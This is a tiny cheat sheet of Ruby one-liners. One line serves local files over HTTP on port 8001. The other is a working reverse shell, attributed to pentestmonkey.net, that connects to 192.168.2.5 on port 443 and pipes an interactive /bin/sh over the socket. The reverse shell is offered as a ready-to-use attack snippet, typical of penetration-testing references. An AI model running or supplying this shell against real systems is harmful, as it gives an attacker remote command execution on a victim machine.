Start a web server that serves the local files from current directory on port 8001
ruby -run -e httpd -- -p 8001 .
Reverse /bin/sh shell on port 443 from pentestmonkey.net
ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'